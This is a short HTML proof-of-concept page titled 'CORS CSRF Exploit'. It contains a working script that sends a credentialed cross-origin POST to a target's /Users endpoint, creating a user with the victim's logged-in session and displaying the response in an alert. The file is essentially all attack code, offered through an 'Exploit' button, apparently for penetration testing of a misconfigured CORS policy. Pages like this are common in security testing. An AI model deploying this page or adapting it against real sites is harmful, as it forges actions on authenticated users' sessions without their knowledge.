cors_csrf.html

<!DOCTYPE html>
<html>
   <head>
      <script>
         function cors() {
            var xhttp = new XMLHttpRequest();
                xhttp.onreadystatechange = function() {
                    if (this.readyState == 4 && this.status == 200) {
                        document.getElementById("demo").innerHTML = alert(this.responseText);
            }
         };
         xhttp.open("POST", "http://example.com/Users", true);
         xhttp.withCredentials = true;
         xhttp.setRequestHeader("Content-Type","application/json");
         xhttp.send(JSON.stringify({"Title":"Mr","FirstName":"test","MiddleName":"","LastName":"cors","PhoneNumber":"","EmailAddress":"cors@test.com"}));
         xhttp.send();
         }
      </script>
   </head>
   <body>
      <center>
      <h2>CORS CSRF Exploit </h2>
      <h3>create a user & Show the response</h3>
      <div id="demo">
         <button type="button" onclick="cors()">Exploit</button>
      </div>
   </body>
</html>